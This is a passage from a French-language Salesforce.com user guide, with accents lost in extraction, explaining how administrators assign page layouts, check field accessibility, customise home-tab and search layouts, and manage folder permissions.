Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour supprimer des prsentations de page :

Personnaliser l'application

Pour supprimer une prsentation de page :

1. Cliquez sur Configuration Personnalisation, slectionnez le lien d'activit ou d'onglet appropri, puis choisissez le
lien Prsentations de page.
2. Cliquez sur Suppr en regard du nom de la prsentation de page.
Lorsqu'une prsentation de page est supprime, sa prsentation de page miniature l'est galement.
3. Choisissez une autre prsentation de page destine remplacer la prsentation supprime pour une combinaison profil-type
d'enregistrement spcifique. Les utilisateurs dots de ces profils et types d'enregistrement verront s'afficher la nouvelle
prsentation de page.
4. Cliquez sur Remplacer.

Voir aussi :
Gestion des prsentations de page
Configuration de la console

Personnaliser

Guide de l'utilisateur | Attribution de prsentations de page | 564

Attribution de prsentations de page

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour attribuer des prsentations de page :

Grer les utilisateurs

Aprs avoir dfini les prsentations de page, attribuez les prsentations de page visibles par les utilisateurs. Le profil d'un
utilisateur dtermine la prsentation de page qu'il voit apparatre. En outre, si votre entreprise utilise des types d'enregistrement
pour un onglet spcifique, la combinaison du profil utilisateur et du type d'enregistrement dfinit la prsentation de page
affiche.
Pour attribuer des prsentations de page :
1. Cliquez sur Configuration Personnalisation, slectionnez le lien d'activit ou d'onglet appropri, puis choisissez
Prsentations de page ou Types d'enregistrement. Une autre solution consiste slectionner Configuration Gestion
des utilisateurs Profils, puis choisir un nom de profil.
2. Dans la page contenant la liste des prsentations de page ou des types d'enregistrement, cliquez sur Attribution de
prsentation de page. partir du profil, cliquez sur Afficher attribution en regard du nom d'un onglet dans la section
Prsentations de page.
3. Cliquez sur Modifier l'attribution.
4. Utilisez le tableau afin d'indiquer la prsentation de page de chaque profil. Ce tableau contient les prsentations de page
attribues chaque profil. Si votre entreprise utilise plusieurs types d'enregistrement, une matrice affiche un slecteur de
prsentation de page pour chaque profil et type d'enregistrement.
Lorsque vous slectionnez des attributions de prsentation de page :

Cliquez sur un en-tte de cellule, de colonne ou de ligne pour slectionner toutes les cellules de cette colonne ou de
cette ligne du tableau.
Appuyez sur la combinaison Maj+clic pour slectionner plusieurs cellules, colonnes ou lignes contigus du tableau.
Appuyez sur la combinaison Ctrl+clic pour slectionner plusieurs cellules, colonnes ou lignes non contigus.
Cliquez sur une cellule, puis faites glisser le curseur pour slectionner un groupe de cellules.
Cliquez sur Suivant ou sur Prcdent pour afficher un autre ensemble de types d'enregistrement.
Conseil: Les attributions de prsentation de page slectionnes sont mises en surbrillance. Les attributions de
prsentation de page que vous modifiez sont mises en italique jusqu' ce que vous enregistriez les modifications.

5. Si ncessaire, slectionnez une autre prsentation de page attribuer dans la liste droulante Prsentation de page
utiliser , puis rptez l'tape prcdente pour la nouvelle prsentation de page.
6. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Vrification de l'accessibilit des champs | 565

Pour vrifier que les utilisateurs disposent d'un accs appropri aux champs selon les paramtres de prsentation de page et de
scurit au niveau du champ, consultez la grille d'accessibilit des champs ; reportez-vous Vrification de l'accessibilit du
champ la page 565.

Voir aussi :
Gestion des prsentations de page
Gestion des profils
Gestion des types d'enregistrement

Vrification de l'accessibilit des champs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'accessibilit des champs :

Afficher la configuration

Pour modifier l'accessibilit des champs :

Personnaliser l'application
AND
Grer les utilisateurs

Plusieurs facteurs dterminent si les utilisateurs peuvent afficher et modifier des champs spcifiques dans Salesforce.com.

Prsentations de page - Vous pouvez dfinir si les champs sont visibles, obligatoires, modifiables ou en lecture seule.
Scurit au niveau du champ - Vous pouvez restreindre davantage l'accs des utilisateurs aux champs en dterminant si
ces champs sont visibles, modifiables ou en lecture seule. Ces paramtres prvalent sur les proprits de champ dfinies
dans la prsentation de page si la configuration de la scurit au niveau du champ s'avre plus restrictive.
Important: La scurit au niveau du champ n'empche pas la recherche dans les valeurs d'un champ. Si vous ne
souhaitez pas permettre aux utilisateurs de rechercher et de rcuprer les enregistrements correspondant une
valeur d'un champ masqu par la scurit au niveau du champ, contactez le support client de salesforce.com pour
obtenir une assistance sur la configuration de votre organisation afin d'interdire tout accs indsirable ce type de
valeur de champ.

Autorisations sur les profils - Certaines autorisations utilisateur associes aux profils outrepassent les paramtres de
prsentation de page et de scurit au niveau du champ. Par exemple, les utilisateurs autoriss modifier les champs en
lecture seule pourront continuer le faire indpendamment des autres paramtrages. Notez que la grille d'accessibilit des
champs inclut toutes les restrictions d'accs aux champs reposant sur ces autorisations.
Champs universellement obligatoires - Il est possible de rendre universellement obligatoire un champ personnalis, ce
qui annule tout paramtre moins restrictif concernant la prsentation de page ou la scurit au niveau des champs.

Aprs avoir paramtr ces lments, vous pouvez confirmer l'accs des utilisateurs certains champs via la grille d'accessibilit
des champs.

Personnaliser

Guide de l'utilisateur | Vrification de l'accessibilit des champs | 566

Vrification de l'accessibilit d'un champ spcifique

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'accessibilit des champs :

Afficher la configuration

1. Accdez la zone des champs de l'objet appropri :

Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
Pour les champs de tches et d'vnements personnaliss, cliquez sur Configuration Personnalisation Activits
Champs personnaliss d'activit.
Pour les champs de tche et d'vnement standard, cliquez sur Configuration Personnalisation Activits, puis
sur Champs de la tche ou Champs d'vnement.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.

2. Slectionnez un champ, puis cliquez sur Afficher l'accessibilit du champ.

3. Confirmez que l'accs au champ est correct pour les diffrents profils et types d'enregistrement.
4. Survolez un paramtre d'accs de champ pour savoir s'il est obligatoire, modifiable, masqu ou en lecture seule en fonction
de la prsentation de page ou de la scurit au niveau du champ.
5. Cliquez sur un paramtre d'accs au champ pour modifier l'accessibilit du champ dans la prsentation de page ou dans la
scurit au niveau du champ. Reportez-vous Modification des paramtres d'accs aux champs la page 567 pour plus
d'informations.
Pour accder des options avances permettant de vrifier l'accessibilit des champs par profil, par type d'enregistrement ou
par champ, cliquez sur Configuration Contrles de scurit Accessibilit du champ. partir de cette page, vous devez
choisir un onglet spcifique afficher, puis dterminer si vous souhaitez vrifier l'accs par profil, par type d'enregistrement
ou par champ.
Important: La scurit au niveau du champ n'empche pas la recherche dans les valeurs d'un champ. Si vous ne
souhaitez pas permettre aux utilisateurs de rechercher et de rcuprer les enregistrements correspondant une valeur
d'un champ masqu par la scurit au niveau du champ, contactez le support client de salesforce.com pour obtenir
une assistance sur la configuration de votre organisation afin d'interdire tout accs indsirable ce type de valeur de
champ.

Personnaliser

Guide de l'utilisateur | Vrification de l'accessibilit des champs | 567

Modification des paramtres d'accs aux champs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'accessibilit des champs :

Afficher la configuration

Pour modifier l'accessibilit des champs :

Personnaliser l'application
AND
Grer les utilisateurs

Dans la grille d'accessibilit des champs, vous pouvez cliquer sur un paramtre d'accs aux champs pour modifier l'accessibilit
du champ dans la prsentation de page ou dans la scurit au niveau du champ. La page Paramtres d'accs vous permet alors
de modifier les paramtres d'accs aux champs.

Dans la section Scurit au niveau du champ de la page, indiquez si le champ doit tre visible, masqu, en lecture seule ou
modifiable par les utilisateurs en fonction de leur profil.
Pour contrler l'accs des utilisateurs aux champs, il est recommand d'utiliser la scurit au niveau du champ plutt que
de crer plusieurs prsentations de page.

Dans la section Prsentation de page de la page, vous pouvez effectuer les oprations suivantes :
-

Slectionnez le bouton radio Supprimer ou redfinir les possibilits de modification, puis modifiez
les proprits d'accs aux champs pour la prsentation de page. Ces modifications attribueront toutes les combinaisons
profil-type d'enregistrement utilisant cette prsentation de page.
Vous pouvez galement slectionner le bouton radio Choisir une autre prsentation de page pour attribuer
une autre prsentation de page la combinaison de profils et de types d'enregistrement.

Voir aussi :
Gestion des prsentations de page
Configuration de la scurit au niveau du champ
Autorisations utilisateurs sur les profils

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de l'onglet page d'accueil | 568

Personnalisation des prsentations de l'onglet page

d'accueil
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher la prsentation des pages d'accueil :

Personnaliser l'application

Pour crer ou modifier la prsentation des pages d'accueil :

Personnaliser l'application

Vous pouvez personnaliser des pages d'accueil pour inclure certains composants, notamment des liens d'un menu latral, un
logo de socit ou l'instantan d'un tableau de bord. L'instantan d'un tableau de bord regroupe la premire ligne des composants
de ce tableau. l'instar des autres onglets, vous pouvez galement attribuer des prsentations de pages d'accueil diffrentes
aux diffrents utilisateurs, en fonction de leur profil.
Une prsentation de page d'accueil personnalise peut galement ne contenir que les composants qui apparaissent dans le menu
latral. Vous pouvez dterminer si les composants personnaliss du menu latral apparaissent uniquement sur l'onglet Accueil
ou sur toutes les pages Salesforce.com.
Pour commencer personnaliser la prsentation des pages d'accueil, reportez-vous aux rubriques suivantes :

Dfinition des composants de l'onglet Accueil la page 568

Conception des prsentations de page de l'onglet Accueil la page 570
Attribution des prsentations de page de l'onglet Accueil des profils la page 571

Dfinition des composants de l'onglet Accueil

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer ou modifier la prsentation des pages d'accueil :

Personnaliser l'application

La prsentation des pages d'accueil contient des composants standard, comme les lments rcents et les messages et alertes,
ainsi que les composants personnaliss que vous crez. Vous pouvez crer des composants personnaliss, tels qu'un logo.
Reportez-vous Cration de composants personnaliss la page 569. En outre, vous pouvez modifier des composants standard.
Reportez-vous Modification de composants la page 568.
Modification de composants
1. Cliquez sur Configuration Personnalisation Accueil Composants de page d'accueil.
2. Cliquez sur Modifier en regard du composant modifier. En l'absence de lien Modifier prs d'un composant, ce composant
est en lecture seule.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de l'onglet page d'accueil | 569

3. Apportez les modifications voulues.

Lorsque vous modifiez le composant Messages et alertes standard, entrez le texte que les utilisateurs doivent voir. Si
vous saisissez un code HTML pour votre message, vrifiez qu'il s'agit d'un code HTML indpendant et que sa syntaxe
est correcte.
Lorsque vous modifiez le composant Liens personnaliss, entrez le texte de lien que les utilisateurs doivent voir dans
le champ Signet. Dans le champ URL, saisissez l'adresse complte du site Web, par exemple http://www.yahoo.com.
Pour crer un lien vers une page Salesforce.com, par exemple un rapport frquemment visit, saisissez uniquement la
partie de l'URL aprs salesforce.com, par exemple /00Ox0000000esq4. Ces liens s'ouvrent toujours dans la
fentre principale de Salesforce.com, pas dans une fentre contextuelle.
Remarque: Le composant Liens personnaliss de la page d'accueil standard permet d'ajouter rapidement des
liens au menu latral, mais ne prend pas en charge les champs de fusion, les fonctions (telles que la fonction
URLFOR), l'excution de JavaScript ni les proprits personnalisables d'ouverture de fentre. Si vous avez
besoin de cette fonctionnalit supplmentaire :
a. Cliquez sur Configuration Personnalisation Accueil Liens personnaliss, puis crez sur cette
page les liens personnaliss de votre page d'accueil.
b. Cliquez sur Configuration Personnalisation Accueil Composants de la page d'accueil, puis crez
sur cette page un composant personnalis de page d'accueil, de type Liens, qui inclut les liens personnaliss
crs la premire tape. Reportez-vous Cration de composants personnaliss Notez que la cration d'un
composant de page d'accueil personnalis pour vos liens ne modifie pas le style visuel pour votre utilisateur
final.

4. Cliquez sur Enregistrer.

Ajoutez ensuite le composant une prsentation de page d'accueil. Pour ce faire, reportez-vous Conception des prsentations
de page de l'onglet Accueil la page 570.
Cration de composants personnaliss
Si vous crez des composants de lien personnaliss, dfinissez d'abord les liens personnaliss de l'onglet Accueil. Pour ce faire,
reportez-vous Configuration des boutons et liens personnaliss la page 578. Pour crer le composant d'une image, tlchargez
d'abord l'image voulue dans l'onglet Documents. Pour plus d'informations sur le tlchargement de fichiers dans l'onglet
Documents, reportez-vous Tlchargement amont et remplacement de documents la page 1379.
1. Cliquez sur Configuration Personnalisation Accueil Composants de page d'accueil.
2. Cliquez sur Nouveau.
3. Saisissez le nom du composant. Dans le cas des liens personnaliss, ce nom apparat comme en-tte de section dans le
menu latral de l'onglet Accueil.
4. Choisissez le type de composant.
5. Cliquez sur Suivant.

Dans le cas des liens, slectionnez les liens personnaliss appropris et cliquez sur Ajouter.
Si vous crez un composant d'image, cliquez sur Insrer une image, slectionnez le dossier de document, puis le fichier
image de votre choix. Le fichier image doit se trouver dans un dossier public et la case Accessible en externe
doit tre coche dans les proprits du document pour que les utilisateurs puissent afficher l'image.
Pour la zone HTML, choisissez l'emplacement d'affichage du composant (colonne restreinte ou large) et entrez votre
texte, votre image ou vos liens dans la zone ci-dessous.
Remarque: Les composants de la colonne restreinte s'affichent dans le menu latral. Ils ne s'affichent pas dans
le menu latral des autres pages Salesforce.com, sauf si vous l'indiquez dans les paramtres de l'interface utilisateur
ou en attribuant l'autorisation Afficher le menu latral personnalis sur toutes les pages au niveau du profil.
Pour modifier les paramtres de l'interface utilisateur, reportez-vous Personnalisation des paramtres de

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de l'onglet page d'accueil | 570

l'interface utilisateur la page 361. Pour plus d'informations sur les autorisations de profil, reportez-vous
Autorisations utilisateurs sur les profils la page 117.
6. Cliquez sur Enregistrer.
Ajoutez ensuite le composant une prsentation de page d'accueil. Pour ce faire, reportez-vous Conception des prsentations
de page de l'onglet Accueil la page 570.
Conseil: Pour des performances optimales, optez pour des images d'une taille infrieure 20 Ko. Si votre image est
trop volumineuse pour tenir dans la fentre d'insertion, utilisez un diteur d'image pour la redimensionner. Enregistrez-la
ensuite au format gif ou jpeg pour rduire la taille du fichier.

Voir aussi :
Conception des prsentations de page de l'onglet Accueil
Attribution des prsentations de l'onglet Accueil des profils

Conception des prsentations de page de l'onglet Accueil

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher la prsentation des pages d'accueil :

Personnaliser l'application

Pour crer ou modifier la prsentation des pages d'accueil :

Personnaliser l'application

Aprs avoir cr les composants afficher sur l'onglet Accueil, passez la conception des prsentations de la page d'accueil.
Au dpart, tous les utilisateurs, y compris ceux du portail client Salesforce.com, sont attribus la prsentation de page d'accueil
par dfaut. Une fois votre propre prsentation de page d'accueil conue, attribuez-lui des utilisateurs ; reportez-vous Attribution
des prsentations de page de l'onglet Accueil des profils la page 571.
1. Cliquez sur Configuration Personnalisation Accueil Prsentations de page d'accueil.
2. Pour crer une prsentation de page, cliquez sur Nouvelle. Pour crer une prsentation clone d'une prsentation dj
existante, slectionnez la prsentation que vous souhaitez copier et cliquez sur Cloner.
3. Saisissez un nom de prsentation de page pour la nouvelle prsentation.
4. Cliquez sur Enregistrer.
5. Choisissez les composants afficher sur la nouvelle prsentation de page. Tenez compte des lments suivants :

Les composants que vous slectionnez pour la colonne restreinte s'affichent dans le menu latral. Ils ne s'affichent pas
dans le menu latral des autres pages Salesforce.com, sauf si vous les spcifiez dans vos paramtres d'interface. Pour
modifier les paramtres de l'interface utilisateur, reportez-vous Personnalisation des paramtres de l'interface utilisateur
la page 361. Si vous souhaitez que seuls certains profils puissent afficher les composants du menu latral sur toutes les
pages, vous pouvez leur attribuer l'autorisation Afficher les composants personnaliss du menu latral sur toutes les
pages .

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de l'onglet page d'accueil | 571

Slectionnez Demandes d'approbation pour ajouter le composant lments approuver une prsentation de
page d'accueil.
Slectionnez Recherche d'articles pour ajouter le composant Rechercher des articles une prsentation de page
d'accueil. Ce composant est disponible uniquement pour les utilisateurs de la base de connaissances Salesforce Knowledge.
Lorsque vous choisissez de faire apparatre le composant d'instantan du tableau de bord sur la prsentation
d'une page d'accueil, Salesforce.com affiche le dernier tableau de bord auquel vous avez accd. Indiquez aux utilisateurs
la procdure suivre pour qu'ils changent eux-mmes de tableau de bord. Reportez-vous Personnalisation de votre
affichage la page 30. Les utilisateurs peuvent afficher l'instantan d'un tableau de bord sur leur onglet Accueil s'ils
ont accs un tableau de bord au moins.
Conseil: Lorsque vous concevez des prsentations de page d'accueil pour votre portail Client, il est recommand
d'ajouter les composants suivants : Recherche, Recherche de solution, lments rcents, Accueil du portail
Client, ainsi qu'un composant Zone HTML personnalis incluant la marque de votre socit dans la grande
colonne.

6. Cliquez sur Suivant.

7. Organisez les composants slectionns dans les colonnes voulues. Slectionnez le composant concern et dplacez-le
l'aide des touches flches.
8. Si vous le souhaitez, cliquez sur Aperu pour afficher la prsentation de la page d'accueil.
9. Cliquez sur Enregistrer et attribuer pour enregistrer la prsentation de la page et l'attribuer un profil.

Voir aussi :
Personnalisation des prsentations de l'onglet page d'accueil
Dfinition des composants de l'onglet Accueil
Attribution des prsentations de l'onglet Accueil des profils
Configuration du portail Client

Attribution des prsentations de l'onglet Accueil des profils

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour attribuer des prsentations de page d'accueil :

Autorisation de personnalisation de l'application

Les prsentations de page d'accueil deviennent visibles pour les utilisateurs une fois que vous les avez associes un profil
utilisateur.
1.
2.
3.
4.
5.

Cliquez sur Configuration Personnalisation Accueil Prsentations de page d'accueil.

Cliquez sur Attribution de prsentation de page.
Cliquez sur Modifier l'attribution.
Choisissez la prsentation de page approprie chaque profil.
Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de recherche | 572

Conseil: Indiquez aux utilisateurs comment personnaliser les paramtres de tableau de bord de leur onglet Accueil
en cliquant sur Configuration Mes informations personnelles Changer mon affichage puis en choisissant le
lien Accueil. Reportez-vous Personnalisation de votre affichage la page 30.

Voir aussi :
Dfinition des composants de l'onglet Accueil
Conception des prsentations de page de l'onglet Accueil
Modification du tableau de bord de votre onglet Accueil

Personnalisation des prsentations de recherche

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les prsentations de recherche :

Personnaliser l'application

Dfinissez les champs qui apparaissent pour les utilisateurs dans les rsultats de recherche, les champs de filtre de recherche,
les botes de dialogue de recherche, les listes d'enregistrements rcents des pages d'accueil des onglets, les botes de dialogue
de recherche de numro de tlphone pour Salesforce CRM Call Center. Vous pouvez spcifier un autre groupe de champs
afficher dans chaque prsentation de recherche. Les paramtres s'appliquent tous les utilisateurs de votre organisation et
du portail client Salesforce.com.
En outre, dfinissez les boutons qui apparaissent dans les vues de liste personnalises et les rsultats de recherche. Vous pouvez
masquer un bouton d'affichage de liste standard ou afficher un bouton personnalis. Les boutons standard ne sont pas disponibles
sur les prsentations des rsultats de recherche. Pour afficher un bouton personnalis, crez le bouton personnalis et attribuez-lui
un Type d'affichage Bouton de liste.
1. Cliquez sur Configuration Personnalisation, slectionnez le lien d'activit ou d'onglet appropri, puis choisissez le
lien Prsentations de recherche.
2. Cliquez sur Modifier en regard de la prsentation personnaliser. Vous pouvez spcifier un autre groupe d'lments
afficher pour les rsultats de recherche, les botes de dialogue de recherche, les listes d'enregistrements rcents des pages
d'accueil des onglets, les botes de dialogue de recherche de numro de tlphone, les vues de liste et les champs de filtre
de recherche.
3. Pour les prsentations de vues de liste et de recherche de rsultats, slectionnez un bouton standard ou personnalis que
vous souhaitez afficher. Pour masquer un bouton standard de la vue de liste, dslectionnez-le. Les boutons standard ne
sont pas disponibles sur les prsentations des rsultats de recherche.
4. Utilisez les flches pour ajouter ou supprimer des lments de la prsentation, et dfinir l'ordre d'apparition des champs.
Pour slectionner plusieurs lments, cliquez dessus tout en maintenant la touche Ctrl ou la touche Maj enfonce pour
slectionner plusieurs lments dans une plage.

Slectionnez un ou plusieurs lments dans la liste disponible et cliquez sur Ajouter pour les ajouter la prsentation.
Slectionnez un ou plusieurs lments dans la liste slectionne et cliquez sur Supprimer pour les supprimer de la
prsentation.

Personnaliser

Guide de l'utilisateur | Gestion des dossiers | 573

Slectionnez un ou plusieurs lments dans la liste slectionne et cliquez sur Up pour les remonter dans la liste.
Slectionnez un ou plusieurs lments dans la liste slectionne et cliquez sur Down pour les descendre dans la liste.
Remarque: Lors de la prsentation des rsultats de recherche pour un objet, vous pouvez cocher la case Remplacer
la personnalisation de la colonne des rsultats de recherche pour tous les
utilisateurs. Si cette case est coche, les personnalisations de la colonne pour tous les utilisateurs de l'entreprise

sont remplaces et rgles sur les paramtres par dfaut l'chelle de l'entreprise.
5. Cliquez sur Enregistrer.

Voir aussi :
Gestion des prsentations de page
Personnalisation de l'annuaire d'un centre d'appels
Configuration de la scurit au niveau du champ
Configuration du portail Client

Gestion des dossiers

Disponible avec : Toutes les ditions
Dossiers de rapport non disponibles dans : Contact Manager Edition, Group Edition et Personal Edition

Autorisations utilisateur requises

Pour crer, modifier ou supprimer des dossiers de documents Grer les documents publics
publics :
Pour crer, modifier et supprimer des dossiers de modles de Grer les modles publics
message publics :
Pour crer, modifier et supprimer des dossiers de rapports
publics :

Grer les rapports publics

Pour crer, modifier et supprimer des dossiers de tableaux de Grer les tableaux de bord
bord publics :
AND
Afficher toutes les donnes

Un dossier est un endroit dans lequel vous pouvez stocker des documents, des tableaux de bord, des rapports ou des modles
de message. Vous contrlez ainsi les personnes pouvant accder un dossier en fonction des rles, des groupes publics ou de
l'ensemble de votre organisation. Vous pouvez galement dfinir un dossier comme tant priv pour empcher tout autre
utilisateur de le consulter.

Pour accder aux dossiers de documents, cliquez sur l'onglet Documents. Pour plus d'informations sur l'affichage de l'onglet
Documents, reportez-vous Prsentation d'une bibliothque de documents la page 1376

Personnaliser

Guide de l'utilisateur | Gestion des dossiers | 574

Pour accder aux dossiers de modles d'e-mail, cliquez sur Configuration Modles de communication Modles
de message.
Pour accder aux dossiers de rapport, cliquez sur l'onglet Rapports. Pour grer tous les dossiers de rapport de l'entreprise,
cliquez sur Configuration Personnalisation Rapports.
Pour accder aux dossiers de tableaux de bord, cliquez sur l'onglet Tableaux de bord. Pour plus d'informations sur les
tableaux de bord, reportez-vous Prsentation des tableaux de bord la page 1354.

Pour crer un dossier, cliquez sur Crer un nouveau dossier.

Pour modifier un dossier, cliquez sur Modifier en regard du nom du dossier. Vous pouvez galement slectionner le nom d'un
dossier dans la liste droulante Dossier, puis cliquer sur Modifier.
Remarque: Vous n'tes autoris modifier le contenu d'un dossier que si celui-ci est accessible en lecture/criture.
Seuls les utilisateurs possdant les autorisations Grer les documents publics ou Grer les modles publics sont habilits
supprimer ou modifier un dossier en lecture seule. Quels que soient les paramtres de dossier ou les autorisations,
les utilisateurs ne peuvent pas modifier les dossiers non classs ou personnels.
Contrle de l'accs aux dossiers de rapports
L'accs aux dossiers est contrl par des autorisations. Les tableaux ci-dessous prsentent les autorisations dont les utilisateurs
doivent disposer pour avoir accs aux trois diffrents types de dossiers de rapports : publics, masqus et partags.
Dossiers publics
Niveau d'accs

Autorisations d'accs aux dossiers en lecture Autorisations d'accs aux dossiers en

seule
lecture/criture

Lire

L'une des autorisations suivantes :

Excuter des rapports
Grer les rapports publics
Afficher toutes les donnes

L'une des autorisations suivantes :

Excuter des rapports
Grer les rapports publics
Afficher toutes les donnes

crire nouveau

Grer les rapports publics

Crer et personnaliser des rapports

Modifier/supprimer

Grer les rapports publics

Grer les rapports publics

Dossiers masqus
Niveau d'accs

Autorisations d'accs aux dossiers en lecture Autorisations d'accs aux dossiers en

seule
lecture/criture

Lire

Afficher toutes les donnes

Afficher toutes les donnes

crire nouveau

Grer les rapports publics

Grer les rapports publics

Modifier/supprimer

Grer les rapports publics

Grer les rapports publics

Personnaliser

Guide de l'utilisateur | Gestion des dossiers | 575

Dossiers partags
Niveau d'accs

Autorisations d'accs aux dossiers en lecture Autorisations d'accs aux dossiers en

seule
lecture/criture

Lire

L'une des autorisations suivantes :

Excuter des rapports (pour des utilisateurs
partags)
Grer les rapports publics
Afficher toutes les donnes

L'une des autorisations suivantes :

Excuter des rapports (pour des utilisateurs
partags)
Grer les rapports publics
Afficher toutes les donnes

crire nouveau

Grer les rapports publics

Excuter et personnaliser des rapports (pour

des utilisateurs partags)

Modifier/supprimer

Grer les rapports publics

Grer les rapports publics

Contrle de l'accs aux dossiers de tableaux de bord

L'accs aux dossiers est contrl par des autorisations. Les tableaux ci-dessous prsentent les autorisations dont les utilisateurs
doivent disposer pour avoir accs aux trois diffrents types de dossiers de tableaux de bord : publics, masqus et partags.
Dossiers publics
Niveau d'accs

Autorisations d'accs aux dossiers en lecture Autorisations d'accs aux dossiers en

seule
lecture/criture

Lire

Excuter les rapports

Excuter les rapports

crire nouveau

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Les deux autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord

Modifier/supprimer

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Dossiers masqus
Niveau d'accs

Autorisations d'accs aux dossiers en lecture Autorisations d'accs aux dossiers en

seule
lecture/criture

Lire

Les deux autorisations suivantes :

Excuter les rapports
Afficher toutes les donnes

Les deux autorisations suivantes :

Excuter les rapports
Afficher toutes les donnes

Personnaliser

Guide de l'utilisateur | Gestion des dossiers | 576

Niveau d'accs

Autorisations d'accs aux dossiers en lecture Autorisations d'accs aux dossiers en

seule
lecture/criture

crire nouveau

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Modifier/supprimer

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Dossiers partags
Niveau d'accs

Autorisations d'accs aux dossiers en lecture Autorisations d'accs aux dossiers en

seule
lecture/criture

Lire

Excuter les rapports

Excuter les rapports

crire nouveau

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Les deux autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord

Modifier/supprimer

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Toutes les autorisations suivantes :

Excuter les rapports
Grer les tableaux de bord
Afficher toutes les donnes

Voir aussi :
Cration et modification de dossiers

Cration et modification de dossiers

Disponible avec : Toutes les ditions
Dossiers de rapport non disponibles dans : Contact Manager Edition, Group Edition et Personal Edition

Pour crer un dossier, cliquez sur Crer un nouveau dossier dans n'importe quelle page rpertoriant des dossiers.

Personnaliser

Guide de l'utilisateur | Gestion des dossiers | 577

Pour modifier un dossier, cliquez sur Modifier en regard du nom du dossier dans n'importe quelle page qui rpertorie les
dossiers.
1. Saisissez une tiquette de dossier. Ltiquette est utilise pour faire rfrence au dossier dans les pages de l'interface
utilisateur.
2. Si vous disposez de l'autorisation Personnaliser l'application, entrez un Nom unique. Le nom unique permet de rfrencer
le composant lors de l'utilisation de l'API Force.com. Dans des packages grs, ce nom vite les conflits de nom dans les
installations de package. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre
unique dans votre organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait
de soulignement et ne doit pas contenir deux traits de soulignement conscutifs. Le champ Nom unique permet un
dveloppeur de modifier les noms ou les titres de certains composants dans un package gr et d'appliquer les modifications
dans l'organisation d'un abonn.
3. Choisissez une option d'accs au dossier public. Slectionnez Lecture/criture si vous souhaitez que les utilisateurs
puissent changer le contenu du dossier. Un dossier en lecture seule peut tre consult par les utilisateurs, mais son contenu
n'est pas modifiable.
4. Slectionnez un rapport, un tableau de bord ou un modle non class, puis cliquez sur Ajouter pour le stocker dans le
nouveau dossier. Ignorez cette tape pour les dossiers de documents.
5. Choisissez une option de visibilit du dossier :

Ce dossier est accessible tous les utilisateurs, y compris les utilisateurs portail

: permet chaque utilisateur de votre entreprise de voir le contenu du dossier, y compris les clients ayant accs au portail
Client Salesforce.com.
Ce dossier est inaccessible tous les utilisateurs : dfinit le dossier comme tant priv.
L'option Ce dossier est uniquement accessible aux utilisateurs suivants vous permet d'autoriser
l'accs au groupe d'utilisateurs que vous souhaitez :
a. Slectionnez Groupes publics, Rles, Rles et subordonns, Territoires ou Territoires et subordonns dans la liste
droulante Rechercher. Les options varient selon l'dition et si votre entreprise possde le droit de gestion des
territoires.
Notez que l'lment et subordonns comprend l'ensemble des utilisateurs situs un niveau spcifi, ainsi que
l'ensemble des utilisateurs subordonns situs aux niveaux infrieurs. De plus, lorsque vous partagez un dossier avec
un groupe, les responsables des membres du groupe ne sont pas autoriss accder au dossier, moins qu'ils ne
soient galement membres du groupe.
b. Si la liste Disponibles pour le partage n'affiche pas immdiatement la valeur souhaite, entrez un critre
de recherche et cliquez sur Rechercher.
c. Slectionnez la valeur souhaite dans la liste Disponibles pour le partage et cliquez sur Ajouter pour la
dplacer vers la liste Partags avec.

6. Cliquez sur Enregistrer.

Pour connatre les autorisations ncessaires la cration de dossiers, reportez-vous Gestion des dossiers la page 573.

Personnaliser

Guide de l'utilisateur | Configuration des boutons et liens personnaliss | 578

Configuration des boutons et liens personnaliss

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer ou modifier des liens et boutons personnaliss :

Personnaliser l'application

Crez des liens et boutons personnaliss pour permettre l'intgration de donnes Salesforce.com dans des URL externes, des
applications, l'intranet de votre entreprise ou d'autres systmes de traitement principaux.
Les liens personnaliss peuvent mener :

Une URL externe (exemple : www.google.com ou l'intranet de votre socit).

Une commande Custom S-Control de la bibliothque de commandes Custom S-Control (par exemple, une applet Java
ou un contrle ActiveX).

Les boutons personnaliss permettent :

De relier les utilisateurs des applications externes, par exemple une page Web affichant le plan de l'adresse d'un contact
